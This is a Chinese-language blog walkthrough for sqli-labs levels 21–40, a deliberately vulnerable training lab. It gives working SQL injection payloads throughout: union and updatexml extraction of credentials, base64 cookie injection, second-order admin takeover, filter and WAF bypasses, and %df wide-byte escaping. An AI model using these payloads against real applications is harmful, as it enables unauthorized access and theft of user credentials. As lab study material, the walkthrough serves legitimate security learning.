sqli-labs 21-40关

##21关
进行基本尝试发现用户名与密码都被过滤,那么先登陆试试吧!
登陆之后页面变为
sqli-labs 21-40关_第1张图片
发现注入点可能为ip,cookie,agent,使用抓包软件试试。
sqli-labs 21-40关_第2张图片
看这个东西显然被加密了。尝试过之后发现cookie是注入点。不加密时
在这里插入图片描述
报错,查看一下题目cookie injection - base64 encoded ,发现它是由base64加密的。然后你把你的注入语句进行base64加密。关于base64加密你可以使用浏览器的hackbar,也可以在
base64编码在线加密解密:http://tool.oschina.net/encrypt?type=3
经过尝试注入发现它是')闭合,尝试联合注入使用

-1') order by 4#
LTEnKSBvcmRlciBieSA0IyA=

在这里插入图片描述
发现可以联合注入并且字段为3.
联合注入可以看我的1-20这个帖子,有详细的解答。

-1') union select 1,2,3#

加密后替换cookie,查看显位。
sqli-labs 21-40关_第3张图片
发现2,3为显位。
###1.爆数据库

-1') union select 1,2,database()#

sqli-labs 21-40关_第4张图片
2.爆表名

-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #

sqli-labs 21-40关_第5张图片
3.爆表里面的字段名

-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #

在这里插入图片描述
4.爆出所有的用户名和密码

-1') union select 1,2,group_concat(username,0x3a,password) from users#

在这里插入图片描述
这就注入完成了。注意这一关要使用base64加密。
##22关闭合方式为"闭合
22关于21关相比除闭合方式不同其它都一样。解22关见21关。
##23关get型传递
这一关经过尝试发现使用联合注入无论使用啥样的闭合方式它总会报错
在这里插入图片描述
,查看源码
sqli-labs 21-40关_第6张图片
发现#与–+都被过滤。这时候可以闭合注入语句来绕过。
源码为:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
我们可以输入:?id=0' union select 1,2,3'
sql语句就变成了:$sql="SELECT * FROM users WHERE id='0' union select 1,2,3'' LIMIT 0,1"。
在这里插入图片描述
然后进行联合注入就行了。
##24关Second Degree Injections 二次注入
sqli-labs 21-40关_第7张图片
首先它是一个二次注入,我们注册一个名为admin’#的账户,密码为123.创建成功后,我们返回登录页面,把我们刚才注册的账号登录上去,
sqli-labs 21-40关_第8张图片
修改密码,把密码修改为123456.返回登录页面,这时候名为admin的管理员账户,我们就可以使用我们刚才修改的密码123456,登录上去了。
sqli-labs 21-40关_第9张图片
解释一下,注册时,'#没有被过滤。在登陆时'#也没有被过滤。
![在这里插入图片描述](https://img-blog.csdnimg.cn/2020012822364572.png

$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

登录时admin’#这个东西在上面这句话中识别的是admin同时把搜索的两个条件中的密码给注释掉,搜索到admin这个用户后就可以登录成功。登录admin’#实际是admin的账号登录。
##25题Trick with OR & AND (过滤了or和and)
这题中or和and被过滤这时候可以进行绕过的方法比如双写,和用字符表示or和and。sql注入绕过方法
例如?id=-1' oorr 1=1--+这样双写可以避免被过滤。
例如爆出数据库,

?id=-1' union select 1,(select group_concat(username) from users), (select group_concat(passwoorrd) from users)--+

##25a题过滤了or和and盲注
注入方法同25题只是联合注入改为盲注。
##26题Trick with comments and space (过滤了注释和空格的注入)
sqli-labs 21-40关_第10张图片
这一题注释,空格,or,and,都被过滤。
考虑空格:用以下几种url编码代替空格即可
%09 Tab键(水平)
%0a 新建一行
%0c 新的一页
%0d return 键
%0b Tab键(垂直)
%a0 空格
这一题我也是找了许多网上大佬们的解法,总结一下,对于or,and这两个,我们可以进行双写或者使用||代表or,&&代表and,空格我们可以用%0a或者%a0由于每个人的电脑环境不同,我不确定你们使用的是哪一个,我个人的电脑使用的就是%0a.
注意在hackbar中输入&&时,需要自行URL编码为%26%26,否则会报错,而输入||不需要.
对于最后注释被过滤我们只有把我们的注释语句弄闭合使它能够执行。对于这一题因为它是单引号闭合,所以可以在注释语句后面加上||'1'='1来进行闭合。
当我输入?id=0'%0a||'1'='1时它会显示登陆成功。但是当我实际进行联合注入时却遇到了问题,

?id=0'%0aunion%0aselect%0a1,database(),3||'1'='1

当我使用这行代码时却报错了。
sqli-labs 21-40关_第11张图片
希望有大神替我解答一下,下面我说一下另一种注入方法。报错注入
1.数据库

?id=0'||updatexml(1,concat('$',(database())),0)||'1'='1

在这里插入图片描述
2.数据表

?id=0'||updatexml(1,concat('$',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),0)||'1'='1

在这里插入图片描述
3.字段名

?id=0'||updatexml(1,concat('$',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')%26%26(table_name='users'))),0)||'1'='1

在这里插入图片描述
4.用户密码

?id=1' || updatexml(1,concat(0x7e,(select(group_concat(concat_ws(0x7e,username,passwoorrd)))from(security.users) where (id=1))),1)||'1'='1 

修改id的值查到所有
在这里插入图片描述
这种方法来自https://blog.csdn.net/weixin_43733035/article/details/86609891
这位大佬。
##26a
这一关只是闭合方式和26关不同它使用的是')闭合。改一下闭合方式就ok了
同时这关并不会返回报错信息,所以不能用报错注入来搞。需要用联合。

?id='%0bunion%0bselect%0b1,group_concat(username,':',passwoorrd),3%0bfrom%0busers%0bwhere%0bid='1

##27关GET - Error Based- All your UNION & SELECT belong to us (过滤了union和select的)
对于这些过滤的题,我们要一个一个排除
1.是否过滤单引号?id=1'
在这里插入图片描述
发现未过滤单引号。
2.是否过滤空格?id=1 order by
在这里插入图片描述
发现空格被过滤。
3.是否过滤关键字?id=union select 1
sqli-labs 21-40关_第12张图片
关键字被过滤。
尝试大小写关键字。发现大小写关键字可以。
sqli-labs 21-40关_第13张图片
接下来开始注入,
1.数据库

?id=0'%0auniOn%0asElEct%0a1,database(),3%0aor%0a'1'='1 

由于注释符被过滤:这里的or '1 ’ = ‘1是为了闭合和后的’ 变成or ‘1’=‘1’ limit 1,1 让语句完整
这里如果你的电脑报错,可以尝试使用%a0或其它方法代替空格。
2.数据表

?id=0'%0auniOn%0asElEct%0a1,(group_concat(table_name)),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security'%0a%26%26%0a'1'='1

sqli-labs 21-40关_第14张图片
3.字段名

?id=0'%0auniOn%0asElEct%0a1,(group_concat(column_name)),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aAnd%0atable_name='users'%0a%26%26%0a'1'='1 

在这里插入图片描述
4.用户

?id=0'%0auniOn%0asElEct%0a1,(group_concat(username,0x3a,password)),3%0afrom%0ausers%0auniOn%0aseLect%0a1,2,'3

在这里插入图片描述
##27a GET - Blind Based- All your UNION & SELECT belong to us
双引号型的27题?id=0"%0auniOn%0asElEct%0a1,(group_concat(table_name)),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=%27security%27%0a%26%26%0a"1"="1
##28题 GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于错误的,有括号的单引号字符型,过滤了union和select等的注入

?id=0%27)%0Aunionunion%0aSElect%0aselect%0A1,(select%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=%27security%27),(%271

这一题的union select被过滤的更多了,将union select双写为unionunion%0aSElect%0aselect就行,如果直接就双写的话它会过滤select,所以要在中间再加一个(%0a)空格。
其它见27题。
##28a题
我发现28的代码在28a也能用,所以见28题
##29题 基于WAF的一个错误
WAF:Web应用防护系统(也称:网站应用级入侵防御系统。英文:WebApplicationFirewall,简称:WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
在SQL注入过程中主流的WAF绕过技术:
1.转换特征字符大小写
2.利用注释绕过
3.编码特征字符绕过
4.分隔重写特征字符绕过
5.利用截断字符绕过
6.变换变量位置绕过
7.针对域名保护的绕近
8.超大数据包绕过
9.转换数据提交方式绕过
10.HPP(HTTP参数污染)绕过。
这个题正常联合注入就行,
我特意查了一下,
服务器端有两个部分:第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务的是php服务器。工作流程为:client访问服务器,能直接访问到tomcat服务器,然后tomcat服务器再向apache服务器请求数据。数据返回路径则相反。
Explain:apache(php)解析最后一个参数,即显示id=2的内容。客户端请求首先过tomcat,tomcat解析第一个参数,接下来tomcat去请求apache(php)服务器,apache解析最后一个参数。那最终返回客户端的应该id=2的内容,应为时间上提供服务的是apache(php)服务器,返回的数据也应该是apache处理的数据。而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在tomcat服务器处做数据过滤和处理,功能类似为一个WAF。Tomcat(jsp)解析第一个参数,即显示id=1的内容。Tomcat功能类似一个WAF所以我们要传入两个id,第一个用来欺骗waf,第二个用来传送给apache。waf是只允许输入数字的,我们在输入数字的时候先给waf看然后检测正常后才转发给我们需要访问的页面
下面我们可以这样构造:
http://127.0.0.1/sqli-labs-master/Less-29/?id=1&id=0’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
链接:https://www.jianshu.com/p/df7532b773eb
简单来说就是,我们要构造两个语句,第一个用来欺骗waf,第二个用来传送给apache。
##30题Get-Blind Havaing with WAF
与Less-29一样,双引号闭合"。

?id=0"%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%20--+

sqli-labs 21-40关_第15张图片
按照less-29 的套路可以这样构造

?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

##31题 Protection with WAF
双引号加括号闭合,参考Less-29.
##32题Bypass addslashes()
参考博客 https://www.leavesongs.com/PENETRATION/mutibyte-sql-inject.html
这题介绍一下addslashes()函数,这个函数的作用,是返回在预定义的字符前添加反斜杠的字符串。
预定义字符是:
单引号(’)
双引号(“)
反斜杠(\)
空值
注释:在适当情况下,PHP指令magic_quotes_gpc为打开,对所有的GET,POST和COOKIE数据自动运行addlashes()。义。遇到这种情况时可以使用函数get_magic_quotes_gpc()进行检测。
看一下题?id=-1%27%20union%20select%201,version(),database()%20--+输入它时,
在这里插入图片描述
发现多了个反斜杠。这就是addlashes()函数的作用。那怎样解决呢。
使用?id=-1%df%27%20union%20select%201,version(),database()%20--+
sqli-labs 21-40关_第16张图片
就是在前面加了%df。使用%E6也行。
在gbk编码中两个字节代表一个汉字,所以在编码时,%df和后面的\也就是%5c变成了一个汉字 運,而单引号 ‘逃逸了出来。
爆列名时,‘user’,这里的单引号可以用十六进制表示,使用十六进制编码就可以绕过了’'使用0x 代替,users 使用十六进制编码得到7573657273,构造为0x7573657273

?id=-1%E6%27%20union%20select%201,version(),group_concat(column_name)%20from%20information_schema.columns%20where%20table_name%20=0x7573657273--+

sqli-labs 21-40关_第17张图片
##33题
直接用32题的代码就行。
##34题Bypass Add SLASHES (绕过添加斜杠)
同32关一样,使用%df构造编码,绕过反斜杠。
由于这一关需要登录上去才能获得显示位,
sqli-labs 21-40关_第18张图片
并且当输入admin'时也能登录成功。
在这里插入图片描述
下面我们抓包,uname=admin%df' union select 1,database()--+&passwd=admin&submit=Submit
在这里插入图片描述
剩下的正常联合注入就行,别忘了加%df,还有遇见'users'注意它两边的单引号,可以使用十六进制表示。
##35题why care for addslashes()
为什么要关心addslashes()
简单的联合注入,无闭合。直接使用联合注入。
##36题 mysqli_real_escape_string()
宽字节注入,参考32题。
##37题mysqli_real_escape_string()
见34题。
##38题 堆叠查询,见30题。
正常联合注入,
##39题同样的堆叠查询
不用闭合的
联合注入。
##40题
联合查询')闭合。

你可能感兴趣的:(sqli-labs)